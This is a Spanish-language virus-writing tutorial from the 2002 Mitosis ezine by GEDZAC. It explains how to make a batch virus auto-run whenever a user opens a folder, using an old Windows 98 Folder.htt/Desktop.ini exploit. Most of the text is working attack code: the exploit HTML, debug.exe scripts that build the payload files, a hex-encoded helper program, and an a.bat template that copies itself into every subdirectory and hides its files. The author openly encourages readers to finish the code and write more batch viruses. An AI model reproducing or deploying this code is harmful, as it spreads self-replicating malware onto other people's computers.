Copy Link
Add to Bookmark
Report

Gedzac Mitosis Ezine Issue 01 005

eZine's profile picture
Published in 
Mitosis
 · 4 years ago

  

(C) MITOSIS #1 E-Zine/GEDZAC 2002


Tema : Folder infection using batch and debug script
Autor : Jtag
Válido para : Windows

--------------------------------------------------------------------------------------------

Sabemos que una carpeta como tal no puede infectarse, simplemente porque no es un archivo y no posee código modificable.

Sin embargo, a pesar de lo sugerente del título de documentos de esta índole intentaremos explicar, practicar y experimentar una especie de "infección" y automatización de código cada vez que abramos una carpeta con archivos capaces de auto-ejecutarse cada vez que ésta es abierta.

Es evidente que estos archivos formarán parte del cuerpo de un virus, de tal forma que el mismo virus debe de ser capaz de crearlos, disponerlos correctamente en la carpeta y en cuyas instrucciones se contemple el añadido del mismo código virus en las siguientes carpetas y subcarpetas.
Asi conseguiríamos que al abrir la primera carpeta, el virus se ejecute y añada en una segunda carpeta el mismo contenido que en la primera, para que al abrir la segunda carpeta suceda lo mismo sobre una tercera, y asi sucesivamente.
Con ésto podríamos generar un ratio de infección altísimo y en poco tiempo, donde todos los directorios y subdirectorios sean capaces de crear y seguir generando siempre el mismo código.

Para esta idea me basé esencialmente en un bug descubierto por Georgi Guninski.
(security advisory #18, 2000).

Y hay que tener presente una serie de cosas:

El siguiente método utiliza el bug de guninski, un script para el debug.exe de windows que genera un archivo.com capaz de añadir un prefijo a otro archivo, y código Batch puro como resto de la automatización.

El bug descubierto por Guninski básicamente consiste en la creación de una carpeta que contenga un archivo Folder.htt con un script y un archivo Desktop.ini.
Si el código es el adecuado realmente se ejecuta un archivo de cualquier extensión que este situado al inicio de la carpeta (como primer archivo), asi que el bug presenta cierta limitación. Ésto es porque el archivo a auto-ejecutarse debe de nombrarse con la letra "A" ya que la carpeta situaría alfabéticamente el archivo A al inicio de ésta.
Pero a nosotros el nombre del archivo virus no nos importa, lo que nos debe de importar es que posea un código capaz de realizar la misma acción en todos los directorios y subdirectorios, y no todos de golpe, sino más bien cuando el usuario las abra.
Asi sería el mismo usuario quien ejecute realmente el virus sin su intervención directa sobre el archivo, y más bien cuando éste abra las carpetas para buscar lo que tenga que buscar.

¿Infección?, ¿añadido?, realmente aqui no introducimos código a las carpetas, sino mas bien "trampeamos" la carpeta.
Será una especie de "linking" entre nuestro virus y las carpetas.

El programa Batch deberá de generar el Folder.htt y el Desktop.ini con sus respectivos códigos para explotar esa vulnerabilidad; también deberá de generar un archivo capaz de realizar otras funciones que explicaré más adelante.
Asi que el método presenta cierta complejidad, y requiere que el usuario conozca ya los típicos conocimientos de programación tanto en Batch, como assembler (16 bits), y lo básico sobre HTML y Javascript (para la implementación del bug script de Guninski).

Comenzemos pues con el diagrama de bloques, para mejor entendimiento:

mmmm... esto es txt no soy un maestro en ascii-art, asi que no me voy a ladillar haciendo rombos, tetraedos, y figuras polichungísimas....



(se abre la carpeta)

|
____|____
| |
| INICIO |
|_________|
|
|
______|________ ______________
| | | | ________________
| ¿Esta carpeta | NO | Generar | | |
| ya esta |______| archivos |_____| Infectar |
| infectada? | | necesarios | | subdirectorios |
|_______________| |______________| |________________|
| |
SI | |
____|____ |
| | |
| FIN |________________________________________|
|_________|
|
|



Y a partir de este esquema construiremos nuestro pequeño código para ser añadido, si asi se desea a un virus de dimensiones más grandes y con distintas funciones.

Georgi Guninski básicamente se dió cuenta que si abrimos una carpeta que contenga un archivo Folder.htt y Desktop.ini podríamos ejecutar el archivo que sea, siempre y cuando el archivo fuese el primero en ésta (de alli que a que lo nombremos con el filename "A", para asegurarnos que se disponga al inicio de la carpeta).
Pero lo que realmente autoejecuta el archivo A es el código contenido en el folder.htt interactuando con el Desktop.ini.

Veamos el código empleado:

(Este corresponde al Folder.htt)....


<html>
<body>
<script>
setTimeout("f()",2000);
function f() {
FileList.focus();
FileList.FocusedItem.InvokeVerb();
}
</script>
<object id=FileList border=0 tabindex=1 classid="clsid:1820FED0-473E-11D0-A96C-00C04FD705A2">
</object>
</body>
</html>

Es un cuerpo HTML que contiene el script del bug.
No hace falta adornar la página con mariconadas, nada de barra de estado, nada de fotos, nada de nada. Lo que nos interesa es que se autoejecute nuestro archivo "A".
El script consiste en una función f() la cual necesita de esos 2000 milisegundos (2 segundos) para que se ejecute eficazmente. Yo lo he probado con 500 milisegundos y también funciona.
Pero Guninski sabrá porqué se necesita de esos 2000 milisegundos, asi que si quieres salir de dudas en caso de que no se ejecute déjalo tal cual como esta:

setTimeout("f()",2000);

Cuando se abre la carpeta, hay un conteo interno de 2 segundos y la función se ejecuta.
Se invoca mediante FileList.FocusedItem.InvokeVerb();

Se selecciona el primer elemento de la carpeta con FileList.focus();

Todo ésto debe de estar contenido entre <BODY></BODY> o sea, el cuerpo HTML.

¿Porqué HTML?
El Bug fue descubierto gracias a las carpetas Web que crea Microsoft Windows 98.
Ésto se hace cuando se crea una carpeta cualquiera, en ésta se selecciona el menú:

ver > personalizar esta carpeta > "Crear o editar un documento HTML".

Automáticamente, al finalizar el proceso, se observarán dos archivos ocultos en ésta.
Son el Desktop.ini y el Folder.htt
Si editamos Folder.htt se observa un gran trozo de código HTML, el cual puede ser totalmente substituido por el script expuesto aqui.


El archivo Desktop.ini posee el siguiente código, EL CUAL NO DEBEMOS DE MODIFICAR....


[ExtShellFolderViews]
Default={5984FFE0-28D4-11CF-AE66-08002B2E1262}
{5984FFE0-28D4-11CF-AE66-08002B2E1262}={5984FFE0-28D4-11CF-AE66-08002B2E1262}

[{5984FFE0-28D4-11CF-AE66-08002B2E1262}]
PersistMoniker=file://Folder.htt

[.ShellClassInfo]
ConfirmFileOp=0


La línea fundamental aqui es PersistMoniker=file://Folder.htt ya que ésta es la que lee nuestro script bug contenido en Folder.htt
Con ésto prácticamente podemos comprobar la ejecución de un archivo "A", por ejemplo, vamos a crear a.bat

@echo off
echo Este es el archivo a.bat

Guardalo dentro de una carpeta vacía, crea los dos archivos mencionados anteriormente y mételos también en ésta, junto al archivo a.bat.
Ahora, al abrir de nuevo esta carpeta vemos que se dispara nuestro archivo a.bat por arte de magia.

Por supuesto que aqui la idea es que no los tengamos que crear nosotros, sino que mas bien sea nuestro virus el que los cree automaticamente.

Si fuese un virus del tipo Batch podríamos introducir el contenido mencionado usando las técnicas de redireccionamiento.

@echo off
echo [ExtShellFolderViews] >> c:\Carpeta\Desktop.ini
echo Default={5984FFE0-28D4-11CF-AE66-08002B2E1262} >> c:\Carpeta\Desktop.ini
echo {5984FFE0-28D4-11CF-AE66-08002B2E1262}={5984FFE0-28D4-11CF-AE66-08002B2E1262} >> c:\Carpeta\Desktop.ini
echo. >> c:\Carpeta\Desktop.ini
echo [{5984FFE0-28D4-11CF-AE66-08002B2E1262}] >> c:\Carpeta\Desktop.ini
echo PersistMoniker=file://Folder.htt >> c:\Carpeta\Desktop.ini
echo. >> c:\Carpeta\Desktop.ini
echo [.ShellClassInfo] >> c:\Carpeta\Desktop.ini
echo ConfirmFileOp=0 >> c:\Carpeta\Desktop.ini
echo. >> c:\Carpeta\Desktop.ini
echo Gedzac >> c:\Carpeta\Desktop.ini

El problema parece provenir de los caracteres ASCII contenidos en Folder.htt, ya que si hacemos uso de los caracteres de redireccionamiento sobre éste provocan fallos cuando leen las etiquetas HTML encerradas en <>

Las etiquetas <HTML> <BODY> y <SCRIPT> estan encerradas en caracteres ASCII que al ser colocados dentro de un programa Batch son confundidos con símbolos de redireccionamiento.

Para solucionar ésto hay que recurrir a un script del Debug.exe de Windows.
Código hexadecimal capaz de añadir el caracter correspondiente al costado de las letras HTML BODY y SCRIPT, y asi resultaría finalmente <HTML> <BODY> y <SCRIPT>.
La desventaja de usar este método es que hay que escribir mucho código, pero bueno.... hacemos lo que se puede, si alguien descubre y demuestra una mejor manera, por favor que me lo haga llegar.

Aqui va el código para el Folder.htt....


@echo off
echo e100 3C'HTML'3E 3C'BODY'3E 3C'SCRIPT'3E >> %TEMP%\1.ext
for %%? in (rcx 14 w q) do echo %%?>> %TEMP%\1.ext
type nul > %TEMP%\2.ext
DEBUG %TEMP%\2.ext < %TEMP%\1.ext > nul
echo. >> %TEMP%\2.ext
type %TEMP%\2.ext >> c:\Carpeta\Folder.htt
echo e100 'setTimeout'28 22'f'28 29 22 2C'2000'29 3B>> %TEMP%\3.ext
for %%? in (rcx 17 w q) do echo %%?>> %TEMP%\3.ext
type nul > %TEMP%\4.ext
DEBUG %TEMP%\4.ext < %TEMP%\3.ext > nul
echo. >> %TEMP%\4.ext
type %TEMP%\4.ext >> c:\Carpeta\Folder.htt
echo e100 'function f'28 29 20 7B>> %TEMP%\5.ext
for %%? in (rcx E w q) do echo %%?>> %TEMP%\5.ext
type nul > %TEMP%\6.ext
DEBUG %TEMP%\6.ext < %TEMP%\5.ext > nul
echo. >> %TEMP%\6.ext
type %TEMP%\6.ext >> c:\Carpeta\Folder.htt
echo e100 'FileList'2E'focus'28 29 3B >> %TEMP%\7.ext
for %%? in (rcx 11 w q) do echo %%?>> %TEMP%\7.ext
type nul > %TEMP%\8.ext
DEBUG %TEMP%\8.ext < %TEMP%\7.ext > nul
echo. >> %TEMP%\8.ext
type %TEMP%\8.ext >> c:\Carpeta\Folder.htt
echo e100 'FileList'2E'FocusedItem'2E'InvokeVerb'28 29 3B >> %TEMP%\9.ext
for %%? in (rcx 22 w q) do echo %%?>> %TEMP%\9.ext
type nul > %TEMP%\a.ext
DEBUG %TEMP%\a.ext < %TEMP%\9.ext > nul
echo. >> %TEMP%\a.ext
type %TEMP%\a.ext >> c:\Carpeta\Folder.htt
echo e100 7d >> %TEMP%\b.ext
for %%? in (rcx 1 w q) do echo %%?>> %TEMP%\b.ext
type nul > %TEMP%\c.ext
DEBUG %TEMP%\c.ext < %TEMP%\b.ext > nul
echo. >> %TEMP%\c.ext
type %TEMP%\c.ext >> c:\Carpeta\Folder.htt
echo e100 3C 2F'SCRIPT'3E >> %TEMP%\d.ext
for %%? in (rcx 9 w q) do echo %%?>> %TEMP%\d.ext
type nul > %TEMP%\e.ext
DEBUG %TEMP%\e.ext < %TEMP%\d.ext > nul
echo. >> %TEMP%\e.ext
type %TEMP%\e.ext >> c:\Carpeta\Folder.htt
echo e100 3C'object ' >> %TEMP%\f.ext
for %%? in (rcx 8 w q) do echo %%?>> %TEMP%\f.ext
type nul > %TEMP%\g.ext
DEBUG %TEMP%\g.ext < %TEMP%\f.ext > nul
.
.
. (limpiamos la basura generada: del %TEMP%\?.ext
. attrib +h c:\Carpeta\Folder.htt
.
.
etc, etc (lo dejo hasta aqui para evitar la lamentable ley del copy & paste de algunos "semi-coders", y asi obligar a los programadores a que analizen el método y lo continuen. Vamos es facilísimo)


Tuve en cuenta las equivalencias hexadecimales para cada caracter ASCII usado en el Debug.
Y en el zip adjunto os las pongo para mayor referencia. (archivo HexReference.txt)

Si va a tomarse el código expuesto aqui y su técnica recordar cambiar el valor de cx cuando hagamos utilización del debug.exe siempre y cuando modifiquéis las líneas.


La idea aqui, siguiendo nuestro diagrama lógico anterior, es que primero deberemos chequear si nuestra carpeta ya esta infectada.
Es inútil añadir nuestro código de nuevo si la carpeta ya posee los archivos necesarios para la ejecución de todo ésto.
Asi que añadiremos una pequeña "firma" al Desktop.ini, de tal forma que el virus al inicio escanee en búsqueda de esa firma y si la encuentra se dirijirá inmediatamente a FIN.
En caso de que no la encuentre deberá infectar.
La búsqueda debe de realizarse al inicio de todo, y el código de búsqueda puede ser diverso, yo sin complicarme mucho pensé que el virus no sabe con anticipación el nombre de las distintas carpetas del usuario, asi que habría que hacer un pequeño motor de búsqueda sea el nombre que sea en la carpeta del usuario.

Para ésto implementé el siguiente código:

type %0 >> %temp%\a.bat
prompt set cd=$P$_> %temp%\temp.bat
%comspec% /c %temp%\temp.bat > %temp%\temp2.bat
call %temp%\temp2.bat
for %%t in (%cd%) do if exist desktop.ini find /C "Gedzac" desktop.ini >> lista.txt
find "1" lista.txt > nul
if errorlevel=1 goto not
if not errorlevel=1 goto FIN

Explico...

type %0 >> %temp%\a.bat

Con ésto redirigimos el contenido de nuestro virus a un archivo contenido en la carpeta de archivos temporales (%temp% es la variable de entorno por defecto)


prompt set cd=$P$_> %temp%\temp.bat

Establecemos la variable %cd% con el prompt del DOS bajo el valor $P$_ el cual significa unidad y path actual, donde quiera que este nuestro achivo actualmente, y realizamos un salto de carro y retorno de línea. Todo ésto redirigido a un archivo en temporales llamado temp.bat

%comspec% /c %temp%\temp.bat > %temp%\temp2.bat

%comspec% es otra variable de entorno y se utiliza para llevar el path del command.com
Si tecleamos en nuestro interfaz de comandos de DOS en Windows la palabra SET observaremos todas las variables de entorno que se cargan en nuestro sistema, y debería de figurar la de comspec.
Entonces comspec /C es como la opción /c del command.com la cual significa ejecución de un comando específico y retorno al programa actual.
El comando específico sería la llamada al temp.bat pero todo ésto lo redirigiremos a otro archivo debido a que si lo dejásemos en el mismo nos generaría un error. O al menos a mi me generaba un error. por lo tanto tendremos el directorio actual del virus en %temp%\temp2.bat tenga el nombre que tenga el directorio del usuario c:\mierda c:\windows\cuchitril, etc, etc.

Nuestro virus encuentra mediate el prompt del sistema el directorio actual.
Este será el que encontrará cuando el archivo es autoejecutado mediante el bug de Guninski.


Ahora viene lo divertido de nuestro código....


for %%t in (%cd%) do if exist desktop.ini find /C "Gedzac" desktop.ini >> %temp%\lista.txt
find "1" %temp%\lista.txt > nul
if errorlevel=1 goto not
if not errorlevel=1 goto FIN
del %temp%\lista.txt

En cada archivo Desktop.ini que exista en %cd% (directorio actual encontrado por el virus mediante el prompt) busca la palabra "Gedzac", la cual será nuestra firma de reconocimiento por la cual verificaremos si ya esa carpeta ha sido infectada o no.
Esta palabra hay que dirigirla temporalmente a un archivo cualquiera.
Yo escogí lista.txt en donde se alojará la respuesta de la búsqueda de la firma.
Esta respuesta tendría la siguiente pinta...

---------- desktop.ini: 1

Si encuentra la palabra "Gedzac" distinguiendo entre mayúsculas y minúsculas dirige esa respuesta al archivo lista.txt
Entonces como la habrá encontrado le decimos a nuestro virus que busque la respuesta en lista.txt y si ésto es asi pues nos dirgimos a FIN.
Para la búsqueda de la respuesta pues simplemente nos fijamos en ésta.
Alli aparece un 1 debido a la respuesta del comando find. Ese es el número que fijaremos como punto de búsqueda en la respuesta. También pudimos haber fijado las rayitas ---------- pero para no perder la poca paciencia que tengo pues me quedo con el 1.

Ahora bien.... ¿y si no encuentra la firma?
Pues simplemente no se generará la respuesta en lista.txt y cuando nuestro virus busque por ese número 1 no lo encontrará y asi sabrá que la carpeta no esta infectada y procederá a realizar el resto de sus funciones (goto not).
Lo mismo es aplicable en el caso de que tan siquiera encuentre el archivo Desktop.ini, asi verificaremos por partida doble la no-infección previa de la carpeta actual.

Aconsejo encarecidamente que se tenga a mano el conocimiento de las diferentes respuestas del errorlevel en DOS. Ésto es importante ya que basaremos nuestras búsquedas en ésto.
Aqui no voy a explicar el errorlevel. Ya dije que se necesitan previos conocimientos de programación en batch para entender ésto, y a un nivel bastante básico, por cierto.


Muy bien, veamos ahora que hay en la etiqueta :not


:not
echo.e100 86 6 3A 1 86 6 3B 1 BA 3A 1 B9 1 0 BB 0>%temp%.\Jtag2.com
echo.e110 0 B4 3F CD 21 9 C0 74 1C BA 3A 1 B9 1 0 80>>%temp%.\Jtag2.com
echo.e120 3E 3B 1 A 75 6 BA 37 1 B9 4 0 BB 1 0 B4>>%temp%.\Jtag2.com
echo.e130 40 CD 21 EB CB CD 20 25 50 25 A 0>>%temp%.\Jtag2.com
for %%C in (rcx 3c w q) do echo.%%C>>%temp%.\Jtag2.com
type %temp%.\Jtag2.com|debug %temp%.\Jtag2.com
set P=copy %0
dir /ad /b /o > listdir.txt
%temp%.\Jtag2.com < listdir.txt > tempor.bat

:: OJO= previa ubicación de los códigos del bug en %temp%
:: (puede ser ubicado en donde nos dé la gana)...

for %%y in (%cd%) do copy /Y %temp%\folder.htt
for %%y in (%cd%) do copy /Y %temp%\desktop.ini
for %%b in (%cd%) do copy /Y %temp%\a.bat
attrib +h +s folder.htt
attrib +h +s desktop.ini
call tempor.bat
del listdir.txt
del tempor.bat
del %temp%\a.bat

Esta es la parte fundamental de nuestro código.
Es la que realizará el añadido de archivos a los diferentes subdirectorios de una carpeta encontrada mediante el path descrito anteriormente.
De tal manera tendríamos que el script del bug estaría en el directorio principal y en sus subdirectorios.
Y ésto agrandaría el ratio de infección en el sistema, ya que por cada directorio o subdirectorio que abra el usuario siempre se ejecutaría el virus "como por arte de magia".

Repito: ésto en realidad no es INFECCIÓN, es simplemente una "trampa" en la carpeta que permite el añadido del script bug en cada carpeta actual.

Analizemos la etiqueta :not

¿Cómo hacer para que el virus conozca los subdirectorios de una carpeta?... cualquier carpeta, cualquier nombre de subdirectorio.

No podemos escribir un copy con un directorio porque simplemente el virus no conoce previamente los directorios del usuario.
Asi que ¿cómo podríamos preanticipar el copy + directorio desconocido?

Pues a mi se me ocurrió implementar un pequeño código en lenguaje ensamblador, el cual será interpretado por el Debug.exe de Windows.
Lo que hace precisamente ese código es prefijar un texto a las línea contenidas en un archivo cualquiera.
¿Qué es lo que vamos a prefijar? pues lógico.... un copy %0 a los subdirectorios de la carpeta actual del usuario. O sea, prefijaremos directamente el código virus a los nombres de los subdirectorios.
Asi podremos tener una cosa semejante a....

copy %0 Windows
copy %0 Borland
copy %0 Archivos de Programa
copy %0 Carpeta
.
.
.
.
etc, etc


Pero hay que lograr todo ésto.
Asi que expongo aqui el código capaz de generarlo:

NOTA: pensar que ésto es código interpretable por el Debug.exe de Windows, asi sea lenguaje ensamblador no hay que escribirlo cómo si fuese aplicable a otro ensamblador como el Turbo assembler de Borland o el Macro assembler de Microsoft, ya que éstos necesitarían una cabecera y una serie de directivas que el Debug.exe de Windows no necesita.
Por eso especifico que ésto es un código interpretable por el Debug.


Comenzaremos por el offset 100h ya que generaremos un archivo de formato .com

XCHG AL,[013A]
XCHG AL,[013B]
MOV DX,013A
MOV CX,0001
MOV BX,0000
MOV AH,3F
INT 21
OR AX,AX
JZ 0135
MOV DX,013A
MOV CX,0001
CMP BYTE PTR [013B],0A
JNZ 012C
MOV DX,0137
MOV CX,0004
MOV BX,0001
MOV AH,40
INT 21
JMP 0100
INT 20

Ésto hay que convertirlo a sus correspondientes códigos hexadecimales para que se pueda introducir en las direcciones de memoria a través del Debug.
Para eso haremos uso del comando e del Debug acompaña de la dirección y su correspondiente valor:

echo.e100 86 6 3A 1 86 6 3B 1 BA 3A 1 B9 1 0 BB 0>%temp%.\Jtag2.com
.
.
.
etc, etc

Comenzamos en el offset 100h, y seguimos con las otras cuando el debug no nos permita introducir más en un rango de memoria.

De tal forma redirigimos todo el contenido a Jtag2.com situado en %temp% y finalmente ensamblamos todo el código hex mediante rcx y su tamaño correspondiente.

for %%C in (rcx 3c w q) do echo.%%C>>%temp%.\Jtag2.com

Todo lo contenido en rcx posee exactamente 3C bytes y es el que tenemos que indicarle al escribir el archivo al disco duro.
La dirección offset concreta en donde acaba todo nuestro código hexadecimal es 013A.

La letra w escribe los datos de la memoria al disco. El tamaño del archivo se dá estableciendo los registros BC:CX al número de bytes a ser guardados o grabados

La letra q finaliza la sesión del debug para poder seguir con nuestro programa batch.

NOTA: Hay que tener en cuenta el introducir la cadena "echo.e100" en la primera línea del Jtag2.com asi que hay que tener presente su valor hexadecimal:

Para ésto podemos experimentarlo... abre el debug y trata de conseguir lo siguiente...

offset
------- __
0100 db 65 -------> e |
0101 db 63 -------> c |
0102 db 68 -------> h |------ Todo eso corresponde al fragmento de "echo." del batch.
0103 db 6f -------> o | Nuestro Code Segment (CS:) comienza en 100h (echo.e100)
0104 CS: -------> . __|

Inmediatamente establecemos la variable %P% con el valor copy %0 el cual se añadirá como prefijo de un largo listado de sub-carpetas que escanee nuestro virus en una carpeta.
Este pre-añadido lo realizará el archivo Jtag2.com previamente escrito.

Esto lo que hará es que las líneas de ese listado queden:

copy %0 guachaguacha
copy %0 Borland
copy %0 Archiv324
copy %0 Carpeta
.
.
.
.
etc, etc

Donde %0 es el código de nuestro archivo en actual ejecución y las otras palabras son los nombres de las carpetas de X usuario.

Bien, para conseguir un listado sin encabezados ni cosas raras, o sea, un listado de subdirectorios simple y ordenado se hace uso de las opciones del comando DIR.

dir /ad /b /o > listdir.txt

Redirigido a listdir.txt lugar donde nuestro archivo Jtag2.com colocará el prefijo de %P%

Y ahora la obra maestra:


%temp%.\Jtag2.com < listdir.txt > tempor.bat

ejecutamos Jtag2.com redirigiendo listdir.txt y el resultado con prefijo a tempor.bat
de tal manera observaremos algo semejante en tempor.bat a:


copy %0 guachaguacha
copy %0 Borland
copy %0 Archiv324
copy %0 Carpeta
.
.
.
.
etc, etc


Luego copiamos los archivos del bug a nuestra carpeta principal

for %%y in (%cd%) do copy /Y %temp%\folder.htt
for %%y in (%cd%) do copy /Y %temp%\desktop.ini
for %%b in (%cd%) do copy /Y %temp%\a.bat

:: a.bat es el virus batch


y escondemos los archivos del bug mediante el atributo "oculto"

attrib +h +s folder.htt
attrib +h +s desktop.ini

y finalmente ejecutamos tempor.bat mediante una llamada CALL.

Y teóricamente podremos obtener réplicas exactas de a.bat en todos los subdirectorios de nuestra carpeta principal.

De tal manera, si por ejemplo el usuario abre esa carpeta principal se ejecuta a.bat por arte de magia, ese a-bat copiará tdo lo contenido en la carpeta principal a los subdirectorios de
esa misma carpeta principal. Y si algún día el usuario abre un subdirectorio pues ocurriría lo mismo.

No olvidemos siempre limpiar la basura generada por nuestro virus:
ésto quiere decir borrar los archivos temporales generados para la creación
de todos nuestros componentes internos.


¿Cuál sería la manera correcta de disponer todos estos códigos en nuestro archivo a.bat?

Pues siguiendo el modelo:


@echo off
ctty nul

::---------------------------------------
::Escaneo de firma

type %0 >> %temp%\a.bat
prompt set cd=$P$_> %temp%\temp.bat
%comspec% /c %temp%\temp.bat > %temp%\temp2.bat
call %temp%\temp2.bat
for %%t in (%cd%) do if exist desktop.ini find /C "Gedzac" desktop.ini >> lista.txt
find "1" lista.txt > nul
if errorlevel=1 goto not
if not errorlevel=1 goto FIN
del lista.txt
del %temp%\temp.bat
del %temp%\temp2.bat

::---------------------------------------
:: Si no ha encontrado la carpeta infectada pues... infectémosla!

:not
:: Creación del Desktop.ini

echo [ExtShellFolderViews] >> c:\Carpeta\Desktop.ini
echo Default={5984FFE0-28D4-11CF-AE66-08002B2E1262} >> c:\Carpeta\Desktop.ini
echo {5984FFE0-28D4-11CF-AE66-08002B2E1262}={5984FFE0-28D4-11CF-AE66-08002B2E1262} >> c:\Carpeta\Desktop.ini
echo. >> c:\Carpeta\Desktop.ini
echo [{5984FFE0-28D4-11CF-AE66-08002B2E1262}] >> c:\Carpeta\Desktop.ini
echo PersistMoniker=file://Folder.htt >> c:\Carpeta\Desktop.ini
echo. >> c:\Carpeta\Desktop.ini
::
:: etc
:: etc
:: hasta completar el codigo del Desktop.ini

:: Creación del Folder.htt

echo e100 3C'HTML'3E 3C'BODY'3E 3C'SCRIPT'3E >> %TEMP%\1.ext
for %%? in (rcx 14 w q) do echo %%?>> %TEMP%\1.ext
type nul > %TEMP%\2.ext
DEBUG %TEMP%\2.ext < %TEMP%\1.ext > nul
echo. >> %TEMP%\2.ext
type %TEMP%\2.ext >> c:\Carpeta\Folder.htt
echo e100 'setTimeout'28 22'f'28 29 22 2C'2000'29 3B>> %TEMP%\3.ext
for %%? in (rcx 17 w q) do echo %%?>> %TEMP%\3.ext
type nul > %TEMP%\4.ext
DEBUG %TEMP%\4.ext < %TEMP%\3.ext > nul
echo. >> %TEMP%\4.ext
type %TEMP%\4.ext >> c:\Carpeta\Folder.htt
echo e100 'function f'28 29 20 7B>> %TEMP%\5.ext
for %%? in (rcx E w q) do echo %%?>> %TEMP%\5.ext
type nul > %TEMP%\6.ext
DEBUG %TEMP%\6.ext < %TEMP%\5.ext > nul
echo. >> %TEMP%\6.ext
type %TEMP%\6.ext >> c:\Carpeta\Folder.htt
echo e100 'FileList'2E'focus'28 29 3B >> %TEMP%\7.ext
for %%? in (rcx 11 w q) do echo %%?>> %TEMP%\7.ext
type nul > %TEMP%\8.ext
DEBUG %TEMP%\8.ext < %TEMP%\7.ext > nul
echo. >> %TEMP%\8.ext
type %TEMP%\8.ext >> c:\Carpeta\Folder.htt
::
:: etc
:: etc
:: hasta completar el codigo del Folder.htt

::---------------------------------------------------
:: Infectamos los otros subdirectorios

echo.e100 86 6 3A 1 86 6 3B 1 BA 3A 1 B9 1 0 BB 0>%temp%.\Jtag2.com
echo.e110 0 B4 3F CD 21 9 C0 74 1C BA 3A 1 B9 1 0 80>>%temp%.\Jtag2.com
echo.e120 3E 3B 1 A 75 6 BA 37 1 B9 4 0 BB 1 0 B4>>%temp%.\Jtag2.com
echo.e130 40 CD 21 EB CB CD 20 25 50 25 A 0>>%temp%.\Jtag2.com
for %%C in (rcx 3c w q) do echo.%%C>>%temp%.\Jtag2.com
type %temp%.\Jtag2.com|debug %temp%.\Jtag2.com
set P=copy %0
dir /ad /b /o > listdir.txt
%temp%.\Jtag2.com < listdir.txt > tempor.bat

:: OJO con la ubicación de el script del bug, yo lo coloqué aqui en %temp%, pero fíjense
:: que en los fragmentos anteriores los colocaba en otras rutas.
:: Simplemente hay que cambiar el path hacia donde ustedes deseen

for %%y in (%cd%) do copy /Y %temp%\folder.htt
for %%y in (%cd%) do copy /Y %temp%\desktop.ini
for %%b in (%cd%) do copy /Y %temp%\a.bat
attrib +h +s folder.htt
attrib +h +s desktop.ini
call tempor.bat
del listdir.txt
del tempor.bat
del %temp%\a.bat

::-------------------------------------------
:: Si la carpeta ya estaba infectada pues simplemente nos vamos a la mierda....

:FIN
exit

::-------------------------------------------


Y charari charara, este es todo el modelo de seguimiento.
Ahora te queda a ti el desarrollar el resto del código.

P.D ( todavía puede conseguirse cosas interesantes en Batch. Animo a que se retome en serio esta programación de virus, la cual ya sabemos que es más limitada que la de otros lenguajes, pero puede llegar a cosas verdaderamente útiles sirviéndose de componentes tales como los descritos en este artículo.)



(C) MITOSIS E-Zine/GEDZAC 2002

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT